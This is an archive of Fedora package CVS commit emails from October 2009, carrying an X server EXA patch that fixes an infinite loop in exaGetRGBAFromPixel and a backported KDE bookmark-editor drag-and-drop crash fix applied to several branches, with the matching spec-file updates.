Message-ID: <20091009001538.B608711C00DB@cvs1.fedora.phx.redhat.com>

Author: bskeggs

Update of /cvs/pkgs/rpms/xorg-x11-server/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4885

Modified Files:
	xorg-x11-server.spec 
Added Files:
	xserver-1.7.0-exa-looping-forever-is-evil.patch 
Log Message:
* Fri Oct 09 2009 Ben Skeggs <bskeggs at redhat.com> 1.7.0-3
- xserver-1.7.0-exa-looping-forever-is-evil.patch: Fix rendercheck hang



xserver-1.7.0-exa-looping-forever-is-evil.patch:
 exa_render.c |   35 ++++++++++++++++++++---------------
 1 file changed, 20 insertions(+), 15 deletions(-)

--- NEW FILE xserver-1.7.0-exa-looping-forever-is-evil.patch ---
>From 73e0b5744403cd24399bfca169cf639d63736ac2 Mon Sep 17 00:00:00 2001
From: Ben Skeggs <bskeggs at redhat.com>
Date: Fri, 9 Oct 2009 09:24:05 +1000
Subject: [PATCH] EXA: fix exaGetRGBAFromPixel to not loop forever on PICT_a8 pictures

Easily reproducible by running "rendercheck -t fill".

It should be safe to just test against rbits for all colour components
as we should always have values for r/g/bbits for PICT_FORMAT_COLOR
formats.

Signed-off-by: Ben Skeggs <bskeggs at redhat.com>
---
 exa/exa_render.c |   34 ++++++++++++++++++++--------------
 1 files changed, 20 insertions(+), 14 deletions(-)

diff --git a/exa/exa_render.c b/exa/exa_render.c
index 1c18566..70701a2 100644
--- a/exa/exa_render.c
+++ b/exa/exa_render.c
@@ -204,22 +204,28 @@ exaGetRGBAFromPixel(CARD32	pixel,
     bshift = pFormat->direct.blue;
     ashift = pFormat->direct.alpha;
 
-    *red = ((pixel >> rshift ) & ((1 << rbits) - 1)) << (16 - rbits);
-    while (rbits < 16) {
-	*red |= *red >> rbits;
-	rbits <<= 1;
-    }
+    if (rbits) {
+	*red = ((pixel >> rshift ) & ((1 << rbits) - 1)) << (16 - rbits);
+	while (rbits < 16) {
+	    *red |= *red >> rbits;
+	    rbits <<= 1;
+	}
 
-    *green = ((pixel >> gshift ) & ((1 << gbits) - 1)) << (16 - gbits);
-    while (gbits < 16) {
-	*green |= *green >> gbits;
-	gbits <<= 1;
-    }
+	*green = ((pixel >> gshift ) & ((1 << gbits) - 1)) << (16 - gbits);
+	while (gbits < 16) {
+	    *green |= *green >> gbits;
+	    gbits <<= 1;
+	}
 
-    *blue = ((pixel >> bshift ) & ((1 << bbits) - 1)) << (16 - bbits);
-    while (bbits < 16) {
-	*blue |= *blue >> bbits;
-	bbits <<= 1;
+	*blue = ((pixel >> bshift ) & ((1 << bbits) - 1)) << (16 - bbits);
+	while (bbits < 16) {
+	    *blue |= *blue >> bbits;
+	    bbits <<= 1;
+	}
+    } else {
+	*red = 0x0000;
+	*green = 0x0000;
+	*blue = 0x0000;
     }
 
     if (abits) {
-- 
1.6.5.rc2



Index: xorg-x11-server.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server/F-12/xorg-x11-server.spec,v
retrieving revision 1.493
retrieving revision 1.494
diff -u -p -r1.493 -r1.494
--- xorg-x11-server.spec	8 Oct 2009 20:12:01 -0000	1.493
+++ xorg-x11-server.spec	9 Oct 2009 00:15:38 -0000	1.494
@@ -19,7 +19,7 @@
 Summary:   X.Org X11 X server
 Name:      xorg-x11-server
 Version:   1.7.0
-Release:   2%{dist}
+Release:   3%{dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X
@@ -74,6 +74,8 @@ Patch6033: xserver-1.6.99-default-modes.
 Patch6044: xserver-1.6.99-hush-prerelease-warning.patch
 Patch6045: xserver-1.7.0-randr-gamma-restore.patch
 
+Patch6046: xserver-1.7.0-exa-looping-forever-is-evil.patch
+
 %define moduledir	%{_libdir}/xorg/modules
 %define drimoduledir	%{_libdir}/dri
 %define sdkdir		%{_includedir}/xorg
@@ -501,6 +503,9 @@ rm -rf $RPM_BUILD_ROOT
 %{xserver_source_dir}
 
 %changelog
+* Fri Oct 09 2009 Ben Skeggs <bskeggs at redhat.com> 1.7.0-3
+- xserver-1.7.0-exa-looping-forever-is-evil.patch: Fix rendercheck hang
+
 * Thu Oct 08 2009 Adam Jackson <ajax at redhat.com> 1.7.0-2
 - xserver-1.7.0-randr-gamma-restore.patch: Restore CRTC gamma on EnterVT.
 



From kkofler at fedoraproject.org  Fri Oct  9 00:28:11 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri,  9 Oct 2009 00:28:11 +0000 (UTC)
Subject: rpms/kdebase/F-11 kdebase-4.3.2-kde#160679-bookmark-crash.patch,
	NONE, 1.1 kdebase.spec, 1.382, 1.383
Message-ID: <20091009002811.D8D2411C00EC@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdebase/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10289/F-11

Modified Files:
	kdebase.spec 
Added Files:
	kdebase-4.3.2-kde#160679-bookmark-crash.patch 
Log Message:
* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
- backport upstream patch for bookmark editor drag&drop crash (kde#160679)

kdebase-4.3.2-kde#160679-bookmark-crash.patch:
 bookmarklistview.cpp |   34 ++++++++++++++++++++-------
 bookmarkmodel.cpp    |   64 +++++++++++++++++++++++++++++++++++----------------
 2 files changed, 71 insertions(+), 27 deletions(-)

--- NEW FILE kdebase-4.3.2-kde#160679-bookmark-crash.patch ---
Index: apps/keditbookmarks/bookmarkmodel.cpp
===================================================================
--- apps/keditbookmarks/bookmarkmodel.cpp	(Revision 1032327)
+++ apps/keditbookmarks/bookmarkmodel.cpp	(Revision 1032328)
@@ -78,7 +78,7 @@
     //Text
     if(index.isValid() && (role == Qt::DisplayRole || role == Qt::EditRole))
     {
-        KBookmark bk = bookmarkForIndex(index);
+        const KBookmark bk = bookmarkForIndex(index);
         if(bk.address().isEmpty())
         {
             if(index.column() == 0)
@@ -100,12 +100,12 @@
                     : subnode.firstChild().toText().data();
             }
             case 3: { //Status column
-                QString text1 = ""; //FIXME favicon state
-                QString text2 = ""; //FIXME link state
-                if(text1.isNull() || text2.isNull())
-                    return QVariant( text1 + text2);
+                QString text1; //FIXME favicon state
+                QString text2; //FIXME link state
+                if(text1.isEmpty() || text2.isEmpty())
+                    return QVariant( text1 + text2 );
                 else
-                    return QVariant( text1 + "  --  " + text2);
+                    return QVariant( text1 + "  --  " + text2 );
             }
             default:
                 return QVariant( QString() ); //can't happen
@@ -141,12 +141,14 @@
                 return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsEditable | Qt::ItemIsDragEnabled | Qt::ItemIsDropEnabled;
         }
         else
+        {
             if(index.column() < 3)
-                return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsEditable | Qt::ItemIsDragEnabled | Qt::ItemIsDropEnabled;
+                return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsEditable | Qt::ItemIsDragEnabled;
+        }
     }
 
     // root
-    return Qt::ItemIsEnabled | Qt::ItemIsSelectable;
+    return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsDropEnabled;
 }
 
 bool KBookmarkModel::setData(const QModelIndex &index, const QVariant &value, int role)
@@ -187,7 +189,7 @@
         return createIndex(row, column, d->mRootItem);
 
     TreeItem * item = static_cast<TreeItem *>(parent.internalPointer());
-    if(row == item->childCount()) {// Received drop below last row, simulate drop on last row
+        if(row == item->childCount()) {// Received drop below last row, simulate drop on last row
         return createIndex(row-1, column, item->child(row-1));
     }
 
@@ -284,22 +286,42 @@
 
 bool KBookmarkModel::dropMimeData(const QMimeData * data, Qt::DropAction action, int row, int column, const QModelIndex & parent)
 {
-    Q_UNUSED(action)
-
     //FIXME this only works for internal drag and drops
     //FIXME Moving is *very* buggy
-
-    QModelIndex idx;
+    QModelIndex dropDestIndex;
+    bool isInsertBetweenOp = false;
     if(row == -1)
-        idx = parent;
+    {
+        dropDestIndex = parent;
+    }
     else
-        idx = index(row, column, parent);
+    {
+        isInsertBetweenOp = true;
+        dropDestIndex= index(row, column, parent);
+    }
 
-    KBookmark bk = bookmarkForIndex(idx);
-    QString addr = bk.address();
-    if(bk.isGroup())
-        addr += "/0";
+    KBookmark dropDestBookmark = bookmarkForIndex(dropDestIndex);
+    if (dropDestBookmark.isNull())
+    {
+        // Presumably an invalid index: assume we want to place this in the root bookmark
+        // folder.
+        dropDestBookmark = d->mRoot;
+    }
 
+    QString addr = dropDestBookmark.address();
+    if(dropDestBookmark.isGroup() && !isInsertBetweenOp)
+    {
+      addr += "/0";
+    }
+    // bookmarkForIndex(...) does not distinguish between the last item in the folder
+    // and the point *after* the last item in the folder (and its hard to see how to
+    // modify it so it does), so do the check here.
+    if (isInsertBetweenOp && row == dropDestBookmark.positionInParent() + 1)
+    {
+        // Attempting to insert underneath the last item in a folder; adjust the address.
+        addr = KBookmark::nextAddress(addr);
+    }
+
     if(action == Qt::CopyAction)
     {
         KEBMacroCommand * cmd = CmdGen::insertMimeSource("Copy", data, addr);
@@ -338,6 +360,10 @@
 
 KBookmark KBookmarkModel::bookmarkForIndex(const QModelIndex& index) const
 {
+    if (!index.isValid())
+    {
+      return KBookmark();
+    }
     return static_cast<TreeItem *>(index.internalPointer())->bookmark();
 }
 
Index: apps/keditbookmarks/bookmarklistview.cpp
===================================================================
--- apps/keditbookmarks/bookmarklistview.cpp	(Revision 1032327)
+++ apps/keditbookmarks/bookmarklistview.cpp	(Revision 1032328)
@@ -43,6 +43,7 @@
 
 }
 
+
 /* ----------- */
 
 BookmarkFolderView::BookmarkFolderView( BookmarkListView * view, QWidget * parent )
@@ -53,6 +54,7 @@
     setModel(mmodel);
     header()->setVisible(false);
     setRootIsDecorated(false);
+    setDropIndicatorShown(true);
     expandAll();
     setCurrentIndex( mmodel->index(0,0, QModelIndex()));
     
@@ -88,7 +90,6 @@
     return static_cast<KBookmarkModel *>(mmodel->sourceModel())->bookmarkForIndex(index);
 }
 
-
 /********/
 
 
@@ -173,15 +174,32 @@
 
 bool BookmarkFolderViewFilterModel::dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent)
 {
-    // FIXME Probably bug in QT, send bug report
-    kDebug()<<"BookmarkFolderViewFilterModel::dropMimeData"<<endl;
-    QModelIndex idx;
+    QModelIndex dropDestProxyIndex;
+    bool isInsertBetweenOp = false;
     if(row == -1)
-        idx = parent;
+    {
+        dropDestProxyIndex = parent;
+    }
     else
-        idx = index(row, column, parent);
-    QModelIndex src = mapToSource(idx);
-    return sourceModel()->dropMimeData( data, action, -1, -1, src);
+    {
+        dropDestProxyIndex = index(row, column, parent);
+        isInsertBetweenOp = true;
+    }
+    QModelIndex dropDestIndex = mapToSource(dropDestProxyIndex);
+    if (!isInsertBetweenOp)
+    {
+        // Just dropping it onto dropDestIndex - ignore row and column.
+        return sourceModel()->dropMimeData( data, action, -1, -1, dropDestIndex);
+    }
+    else
+    {
+        // Dropping before dropDestIndex.  We want to keep row and column
+        // relative to the parent.
+        // I'm reasonably certain the parent must be valid in this case.  If you get a crash here - nag me!
+        Q_ASSERT(parent.isValid());
+        QModelIndex dropDestParentIndex = mapToSource(parent);
+        return sourceModel()->dropMimeData( data, action, dropDestIndex.row(), dropDestIndex.column(), dropDestParentIndex);
+    }
 }
 
 BookmarkFolderViewFilterModel::~BookmarkFolderViewFilterModel()


Index: kdebase.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase/F-11/kdebase.spec,v
retrieving revision 1.382
retrieving revision 1.383
diff -u -p -r1.382 -r1.383
--- kdebase.spec	7 Oct 2009 11:00:13 -0000	1.382
+++ kdebase.spec	9 Oct 2009 00:28:11 -0000	1.383
@@ -1,7 +1,7 @@
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
 Version: 4.3.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 Epoch: 6
 
 License: GPLv2
@@ -17,6 +17,7 @@ Patch2:   kdebase-4.2.1-home-icon.patch
 
 # 4.3 upstream patches
 Patch100: kdebase-4.3.2-dolphin-kde#202176.patch
+Patch101: kdebase-4.3.2-kde#160679-bookmark-crash.patch
 
 %ifnarch s390 s390x
 Requires: eject
@@ -112,6 +113,7 @@ Requires: kdelibs4-devel kdepimlibs4-dev
 
 # 4.3 upstream patches
 %patch100 -p1 -b .dolphin-kde#202176
+%patch101 -p0 -b .kde#160679
 
 # fix incorrect assumption that we're building in a combined kdebase tree
 sed -i -e 's/EXISTS "${kdebase_SOURCE_DIR}"/0/g' apps/CMakeLists.txt
@@ -234,6 +236,9 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
+- backport upstream patch for bookmark editor drag&drop crash (kde#160679)
+
 * Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
 - fix Dolphin crash (regression)
 



From kkofler at fedoraproject.org  Fri Oct  9 00:28:12 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri,  9 Oct 2009 00:28:12 +0000 (UTC)
Subject: rpms/kdebase/F-12 kdebase-4.3.2-kde#160679-bookmark-crash.patch,
	NONE, 1.1 kdebase.spec, 1.399, 1.400
Message-ID: <20091009002812.1A18D11C0268@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdebase/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10289/F-12

Modified Files:
	kdebase.spec 
Added Files:
	kdebase-4.3.2-kde#160679-bookmark-crash.patch 
Log Message:
* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
- backport upstream patch for bookmark editor drag&drop crash (kde#160679)

kdebase-4.3.2-kde#160679-bookmark-crash.patch:
 bookmarklistview.cpp |   34 ++++++++++++++++++++-------
 bookmarkmodel.cpp    |   64 +++++++++++++++++++++++++++++++++++----------------
 2 files changed, 71 insertions(+), 27 deletions(-)

--- NEW FILE kdebase-4.3.2-kde#160679-bookmark-crash.patch ---
Index: apps/keditbookmarks/bookmarkmodel.cpp
===================================================================
--- apps/keditbookmarks/bookmarkmodel.cpp	(Revision 1032327)
+++ apps/keditbookmarks/bookmarkmodel.cpp	(Revision 1032328)
@@ -78,7 +78,7 @@
     //Text
     if(index.isValid() && (role == Qt::DisplayRole || role == Qt::EditRole))
     {
-        KBookmark bk = bookmarkForIndex(index);
+        const KBookmark bk = bookmarkForIndex(index);
         if(bk.address().isEmpty())
         {
             if(index.column() == 0)
@@ -100,12 +100,12 @@
                     : subnode.firstChild().toText().data();
             }
             case 3: { //Status column
-                QString text1 = ""; //FIXME favicon state
-                QString text2 = ""; //FIXME link state
-                if(text1.isNull() || text2.isNull())
-                    return QVariant( text1 + text2);
+                QString text1; //FIXME favicon state
+                QString text2; //FIXME link state
+                if(text1.isEmpty() || text2.isEmpty())
+                    return QVariant( text1 + text2 );
                 else
-                    return QVariant( text1 + "  --  " + text2);
+                    return QVariant( text1 + "  --  " + text2 );
             }
             default:
                 return QVariant( QString() ); //can't happen
@@ -141,12 +141,14 @@
                 return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsEditable | Qt::ItemIsDragEnabled | Qt::ItemIsDropEnabled;
         }
         else
+        {
             if(index.column() < 3)
-                return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsEditable | Qt::ItemIsDragEnabled | Qt::ItemIsDropEnabled;
+                return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsEditable | Qt::ItemIsDragEnabled;
+        }
     }
 
     // root
-    return Qt::ItemIsEnabled | Qt::ItemIsSelectable;
+    return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsDropEnabled;
 }
 
 bool KBookmarkModel::setData(const QModelIndex &index, const QVariant &value, int role)
@@ -187,7 +189,7 @@
         return createIndex(row, column, d->mRootItem);
 
     TreeItem * item = static_cast<TreeItem *>(parent.internalPointer());
-    if(row == item->childCount()) {// Received drop below last row, simulate drop on last row
+        if(row == item->childCount()) {// Received drop below last row, simulate drop on last row
         return createIndex(row-1, column, item->child(row-1));
     }
 
@@ -284,22 +286,42 @@
 
 bool KBookmarkModel::dropMimeData(const QMimeData * data, Qt::DropAction action, int row, int column, const QModelIndex & parent)
 {
-    Q_UNUSED(action)
-
     //FIXME this only works for internal drag and drops
     //FIXME Moving is *very* buggy
-
-    QModelIndex idx;
+    QModelIndex dropDestIndex;
+    bool isInsertBetweenOp = false;
     if(row == -1)
-        idx = parent;
+    {
+        dropDestIndex = parent;
+    }
     else
-        idx = index(row, column, parent);
+    {
+        isInsertBetweenOp = true;
+        dropDestIndex= index(row, column, parent);
+    }
 
-    KBookmark bk = bookmarkForIndex(idx);
-    QString addr = bk.address();
-    if(bk.isGroup())
-        addr += "/0";
+    KBookmark dropDestBookmark = bookmarkForIndex(dropDestIndex);
+    if (dropDestBookmark.isNull())
+    {
+        // Presumably an invalid index: assume we want to place this in the root bookmark
+        // folder.
+        dropDestBookmark = d->mRoot;
+    }
 
+    QString addr = dropDestBookmark.address();
+    if(dropDestBookmark.isGroup() && !isInsertBetweenOp)
+    {
+      addr += "/0";
+    }
+    // bookmarkForIndex(...) does not distinguish between the last item in the folder
+    // and the point *after* the last item in the folder (and its hard to see how to
+    // modify it so it does), so do the check here.
+    if (isInsertBetweenOp && row == dropDestBookmark.positionInParent() + 1)
+    {
+        // Attempting to insert underneath the last item in a folder; adjust the address.
+        addr = KBookmark::nextAddress(addr);
+    }
+
     if(action == Qt::CopyAction)
     {
         KEBMacroCommand * cmd = CmdGen::insertMimeSource("Copy", data, addr);
@@ -338,6 +360,10 @@
 
 KBookmark KBookmarkModel::bookmarkForIndex(const QModelIndex& index) const
 {
+    if (!index.isValid())
+    {
+      return KBookmark();
+    }
     return static_cast<TreeItem *>(index.internalPointer())->bookmark();
 }
 
Index: apps/keditbookmarks/bookmarklistview.cpp
===================================================================
--- apps/keditbookmarks/bookmarklistview.cpp	(Revision 1032327)
+++ apps/keditbookmarks/bookmarklistview.cpp	(Revision 1032328)
@@ -43,6 +43,7 @@
 
 }
 
+
 /* ----------- */
 
 BookmarkFolderView::BookmarkFolderView( BookmarkListView * view, QWidget * parent )
@@ -53,6 +54,7 @@
     setModel(mmodel);
     header()->setVisible(false);
     setRootIsDecorated(false);
+    setDropIndicatorShown(true);
     expandAll();
     setCurrentIndex( mmodel->index(0,0, QModelIndex()));
     
@@ -88,7 +90,6 @@
     return static_cast<KBookmarkModel *>(mmodel->sourceModel())->bookmarkForIndex(index);
 }
 
-
 /********/
 
 
@@ -173,15 +174,32 @@
 
 bool BookmarkFolderViewFilterModel::dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent)
 {
-    // FIXME Probably bug in QT, send bug report
-    kDebug()<<"BookmarkFolderViewFilterModel::dropMimeData"<<endl;
-    QModelIndex idx;
+    QModelIndex dropDestProxyIndex;
+    bool isInsertBetweenOp = false;
     if(row == -1)
-        idx = parent;
+    {
+        dropDestProxyIndex = parent;
+    }
     else
-        idx = index(row, column, parent);
-    QModelIndex src = mapToSource(idx);
-    return sourceModel()->dropMimeData( data, action, -1, -1, src);
+    {
+        dropDestProxyIndex = index(row, column, parent);
+        isInsertBetweenOp = true;
+    }
+    QModelIndex dropDestIndex = mapToSource(dropDestProxyIndex);
+    if (!isInsertBetweenOp)
+    {
+        // Just dropping it onto dropDestIndex - ignore row and column.
+        return sourceModel()->dropMimeData( data, action, -1, -1, dropDestIndex);
+    }
+    else
+    {
+        // Dropping before dropDestIndex.  We want to keep row and column
+        // relative to the parent.
+        // I'm reasonably certain the parent must be valid in this case.  If you get a crash here - nag me!
+        Q_ASSERT(parent.isValid());
+        QModelIndex dropDestParentIndex = mapToSource(parent);
+        return sourceModel()->dropMimeData( data, action, dropDestIndex.row(), dropDestIndex.column(), dropDestParentIndex);
+    }
 }
 
 BookmarkFolderViewFilterModel::~BookmarkFolderViewFilterModel()


Index: kdebase.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase/F-12/kdebase.spec,v
retrieving revision 1.399
retrieving revision 1.400
diff -u -p -r1.399 -r1.400
--- kdebase.spec	7 Oct 2009 11:00:14 -0000	1.399
+++ kdebase.spec	9 Oct 2009 00:28:11 -0000	1.400
@@ -1,7 +1,7 @@
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
 Version: 4.3.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 Epoch: 6
 
 License: GPLv2
@@ -17,6 +17,7 @@ Patch2:   kdebase-4.2.1-home-icon.patch
 
 # 4.3 upstream patches
 Patch100: kdebase-4.3.2-dolphin-kde#202176.patch
+Patch101: kdebase-4.3.2-kde#160679-bookmark-crash.patch
 
 %ifnarch s390 s390x
 Requires: eject
@@ -112,6 +113,7 @@ Requires: kdelibs4-devel kdepimlibs4-dev
 
 # 4.3 upstream patches
 %patch100 -p1 -b .dolphin-kde#202176
+%patch101 -p0 -b .kde#160679
 
 # fix incorrect assumption that we're building in a combined kdebase tree
 sed -i -e 's/EXISTS "${kdebase_SOURCE_DIR}"/0/g' apps/CMakeLists.txt
@@ -234,6 +236,9 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
+- backport upstream patch for bookmark editor drag&drop crash (kde#160679)
+
 * Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
 - fix Dolphin crash (regression)
 



From kkofler at fedoraproject.org  Fri Oct  9 00:28:12 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri,  9 Oct 2009 00:28:12 +0000 (UTC)
Subject: rpms/kdebase/devel kdebase-4.3.2-kde#160679-bookmark-crash.patch,
	NONE, 1.1 kdebase.spec, 1.398, 1.399
Message-ID: <20091009002812.5F5F311C00DB@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdebase/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10289/devel

Modified Files:
	kdebase.spec 
Added Files:
	kdebase-4.3.2-kde#160679-bookmark-crash.patch 
Log Message:
* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
- backport upstream patch for bookmark editor drag&drop crash (kde#160679)

kdebase-4.3.2-kde#160679-bookmark-crash.patch:
 bookmarklistview.cpp |   34 ++++++++++++++++++++-------
 bookmarkmodel.cpp    |   64 +++++++++++++++++++++++++++++++++++----------------
 2 files changed, 71 insertions(+), 27 deletions(-)

--- NEW FILE kdebase-4.3.2-kde#160679-bookmark-crash.patch ---
Index: apps/keditbookmarks/bookmarkmodel.cpp
===================================================================
--- apps/keditbookmarks/bookmarkmodel.cpp	(Revision 1032327)
+++ apps/keditbookmarks/bookmarkmodel.cpp	(Revision 1032328)
@@ -78,7 +78,7 @@
     //Text
     if(index.isValid() && (role == Qt::DisplayRole || role == Qt::EditRole))
     {
-        KBookmark bk = bookmarkForIndex(index);
+        const KBookmark bk = bookmarkForIndex(index);
         if(bk.address().isEmpty())
         {
             if(index.column() == 0)
@@ -100,12 +100,12 @@
                     : subnode.firstChild().toText().data();
             }
             case 3: { //Status column
-                QString text1 = ""; //FIXME favicon state
-                QString text2 = ""; //FIXME link state
-                if(text1.isNull() || text2.isNull())
-                    return QVariant( text1 + text2);
+                QString text1; //FIXME favicon state
+                QString text2; //FIXME link state
+                if(text1.isEmpty() || text2.isEmpty())
+                    return QVariant( text1 + text2 );
                 else
-                    return QVariant( text1 + "  --  " + text2);
+                    return QVariant( text1 + "  --  " + text2 );
             }
             default:
                 return QVariant( QString() ); //can't happen
@@ -141,12 +141,14 @@
                 return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsEditable | Qt::ItemIsDragEnabled | Qt::ItemIsDropEnabled;
         }
         else
+        {
             if(index.column() < 3)
-                return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsEditable | Qt::ItemIsDragEnabled | Qt::ItemIsDropEnabled;
+                return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsEditable | Qt::ItemIsDragEnabled;
+        }
     }
 
     // root
-    return Qt::ItemIsEnabled | Qt::ItemIsSelectable;
+    return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsDropEnabled;
 }
 
 bool KBookmarkModel::setData(const QModelIndex &index, const QVariant &value, int role)
@@ -187,7 +189,7 @@
         return createIndex(row, column, d->mRootItem);
 
     TreeItem * item = static_cast<TreeItem *>(parent.internalPointer());
-    if(row == item->childCount()) {// Received drop below last row, simulate drop on last row
+        if(row == item->childCount()) {// Received drop below last row, simulate drop on last row
         return createIndex(row-1, column, item->child(row-1));
     }
 
@@ -284,22 +286,42 @@
 
 bool KBookmarkModel::dropMimeData(const QMimeData * data, Qt::DropAction action, int row, int column, const QModelIndex & parent)
 {
-    Q_UNUSED(action)
-
     //FIXME this only works for internal drag and drops
     //FIXME Moving is *very* buggy
-
-    QModelIndex idx;
+    QModelIndex dropDestIndex;
+    bool isInsertBetweenOp = false;
     if(row == -1)
-        idx = parent;
+    {
+        dropDestIndex = parent;
+    }
     else
-        idx = index(row, column, parent);
+    {
+        isInsertBetweenOp = true;
+        dropDestIndex= index(row, column, parent);
+    }
 
-    KBookmark bk = bookmarkForIndex(idx);
-    QString addr = bk.address();
-    if(bk.isGroup())
-        addr += "/0";
+    KBookmark dropDestBookmark = bookmarkForIndex(dropDestIndex);
+    if (dropDestBookmark.isNull())
+    {
+        // Presumably an invalid index: assume we want to place this in the root bookmark
+        // folder.
+        dropDestBookmark = d->mRoot;
+    }
 
+    QString addr = dropDestBookmark.address();
+    if(dropDestBookmark.isGroup() && !isInsertBetweenOp)
+    {
+      addr += "/0";
+    }
+    // bookmarkForIndex(...) does not distinguish between the last item in the folder
+    // and the point *after* the last item in the folder (and its hard to see how to
+    // modify it so it does), so do the check here.
+    if (isInsertBetweenOp && row == dropDestBookmark.positionInParent() + 1)
+    {
+        // Attempting to insert underneath the last item in a folder; adjust the address.
+        addr = KBookmark::nextAddress(addr);
+    }
+
     if(action == Qt::CopyAction)
     {
         KEBMacroCommand * cmd = CmdGen::insertMimeSource("Copy", data, addr);
@@ -338,6 +360,10 @@
 
 KBookmark KBookmarkModel::bookmarkForIndex(const QModelIndex& index) const
 {
+    if (!index.isValid())
+    {
+      return KBookmark();
+    }
     return static_cast<TreeItem *>(index.internalPointer())->bookmark();
 }
 
Index: apps/keditbookmarks/bookmarklistview.cpp
===================================================================
--- apps/keditbookmarks/bookmarklistview.cpp	(Revision 1032327)
+++ apps/keditbookmarks/bookmarklistview.cpp	(Revision 1032328)
@@ -43,6 +43,7 @@
 
 }
 
+
 /* ----------- */
 
 BookmarkFolderView::BookmarkFolderView( BookmarkListView * view, QWidget * parent )
@@ -53,6 +54,7 @@
     setModel(mmodel);
     header()->setVisible(false);
     setRootIsDecorated(false);
+    setDropIndicatorShown(true);
     expandAll();
     setCurrentIndex( mmodel->index(0,0, QModelIndex()));
     
@@ -88,7 +90,6 @@
     return static_cast<KBookmarkModel *>(mmodel->sourceModel())->bookmarkForIndex(index);
 }
 
-
 /********/
 
 
@@ -173,15 +174,32 @@
 
 bool BookmarkFolderViewFilterModel::dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent)
 {
-    // FIXME Probably bug in QT, send bug report
-    kDebug()<<"BookmarkFolderViewFilterModel::dropMimeData"<<endl;
-    QModelIndex idx;
+    QModelIndex dropDestProxyIndex;
+    bool isInsertBetweenOp = false;
     if(row == -1)
-        idx = parent;
+    {
+        dropDestProxyIndex = parent;
+    }
     else
-        idx = index(row, column, parent);
-    QModelIndex src = mapToSource(idx);
-    return sourceModel()->dropMimeData( data, action, -1, -1, src);
+    {
+        dropDestProxyIndex = index(row, column, parent);
+        isInsertBetweenOp = true;
+    }
+    QModelIndex dropDestIndex = mapToSource(dropDestProxyIndex);
+    if (!isInsertBetweenOp)
+    {
+        // Just dropping it onto dropDestIndex - ignore row and column.
+        return sourceModel()->dropMimeData( data, action, -1, -1, dropDestIndex);
+    }
+    else
+    {
+        // Dropping before dropDestIndex.  We want to keep row and column
+        // relative to the parent.
+        // I'm reasonably certain the parent must be valid in this case.  If you get a crash here - nag me!
+        Q_ASSERT(parent.isValid());
+        QModelIndex dropDestParentIndex = mapToSource(parent);
+        return sourceModel()->dropMimeData( data, action, dropDestIndex.row(), dropDestIndex.column(), dropDestParentIndex);
+    }
 }
 
 BookmarkFolderViewFilterModel::~BookmarkFolderViewFilterModel()


Index: kdebase.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase/devel/kdebase.spec,v
retrieving revision 1.398
retrieving revision 1.399
diff -u -p -r1.398 -r1.399
--- kdebase.spec	7 Oct 2009 10:32:00 -0000	1.398
+++ kdebase.spec	9 Oct 2009 00:28:12 -0000	1.399
@@ -1,7 +1,7 @@
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
 Version: 4.3.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 Epoch: 6
 
 License: GPLv2
@@ -17,6 +17,7 @@ Patch2:   kdebase-4.2.1-home-icon.patch
 
 # 4.3 upstream patches
 Patch100: kdebase-4.3.2-dolphin-kde#202176.patch
+Patch101: kdebase-4.3.2-kde#160679-bookmark-crash.patch
 
 %ifnarch s390 s390x
 Requires: eject
@@ -112,6 +113,7 @@ Requires: kdelibs4-devel kdepimlibs4-dev
 
 # 4.3 upstream patches
 %patch100 -p1 -b .dolphin-kde#202176
+%patch101 -p0 -b .kde#160679
 
 # fix incorrect assumption that we're building in a combined kdebase tree
